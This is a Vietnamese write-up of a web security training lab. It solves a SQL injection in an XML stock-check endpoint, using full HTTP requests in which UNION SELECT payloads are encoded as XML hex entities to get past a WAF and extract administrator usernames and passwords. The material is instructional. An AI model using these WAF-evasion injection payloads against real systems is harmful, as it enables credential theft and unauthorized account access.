Mục tiêu: Thực hiện một cuộc tấn công tiêm SQL để truy xuất thông tin đăng nhập của người dùng quản trị viên, sau đó đăng nhập vào tài khoản của họ.
Phòng thí nghiệm này chứa lỗ hổng SQL trong tính năng check stock
. Kết quả từ truy vấn được trả về trong phản hồi của ứng dụng, vì vậy bạn có thể sử dụng một cuộc tấn công công đoàn để lấy dữ liệu từ các bảng khác.
Cơ sở dữ liệu chứa bảng users, chứa usernames và passwords của người dùng đã đăng ký.
Web Application Firewall (WAF) sẽ chặn các yêu cầu chứa các dấu hiệu rõ ràng của một cuộc tấn công tiêm SQL. Bạn sẽ cần tìm cách làm xáo trộn truy vấn độc hại của bạn để bỏ qua bộ lọc này. Chúng tôi khuyên bạn nên sử dụng tiện ích mở rộng Hackvertor để làm điều này.
Check if input is executed
Request:
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /product/stock HTTP/2
Host: 0ac8001304de748480693f3f005a00b3.web-security-academy.net
Cookie: session=qGsT44wZyGhSvi3KBqUoMEmDqmluKz7U
Content-Length: 115
Content-Type: application/xml
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1 + 1</storeId>
</stockCheck>
Xuất hiện số unit khác với 1 ban đầu, cho thấy có thể thực thi.
Bypass WAF using XML Entities Encoding
Request:
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /product/stock HTTP/2
Host: 0ac8001304de748480693f3f005a00b3.web-security-academy.net
Cookie: session=qGsT44wZyGhSvi3KBqUoMEmDqmluKz7U
Content-Length: 115
Content-Type: application/xml
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1 UNION SELECT NULL</storeId>
</stockCheck>
Xuất hiện "Attack detected"
do đã bị WAF filter.
Giải pháp: Dùng mã hóa XML entities để biến payload thành dạng mà WAF khó nhận diện
Dùng công cụ Hackverter để mã hóa XML entities, vào BApp tìm và tải Hackverter.
Tìm tên của người dùng admin
Payload:
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1 UNION SELECT username FROM users</storeId>
</stockCheck>
Bôi đen phần 1 UNION SELECT username FROM users
> Chuột phải > Extensions > Hackverter > Encode > Hex entities
Request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /product/stock HTTP/2
Host: 0ac8001304de748480693f3f005a00b3.web-security-academy.net
Cookie: session=qGsT44wZyGhSvi3KBqUoMEmDqmluKz7U
Content-Length: 115
Content-Type: application/xml
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>
1 UNION SELECT username FROM users
</@hex_entities>
</storeId>
</stockCheck>
Tiếp tục request
để tìm password
của admin
Request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /product/stock HTTP/2
Host: 0ac8001304de748480693f3f005a00b3.web-security-academy.net
Cookie: session=qGsT44wZyGhSvi3KBqUoMEmDqmluKz7U
Content-Length: 115
Content-Type: application/xml
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>
1 UNION SELECT password FROM users where username = 'administrator'
</@hex_entities>
</storeId>
</stockCheck>
Có thể sử dụng payload
gọn hơn bằng phép nối ||
Request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /product/stock HTTP/2
Host: 0ac8001304de748480693f3f005a00b3.web-security-academy.net
Cookie: session=qGsT44wZyGhSvi3KBqUoMEmDqmluKz7U
Content-Length: 115
Content-Type: application/xml
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>
<@hex_entities>
1 UNION SELECT username || '~' || password FROM users
</@hex_entities>
</storeId>
</stockCheck>
Nối username và password theo từng cặp, tách nhau bởi '~'
Goodluck! 🍀🍀🍀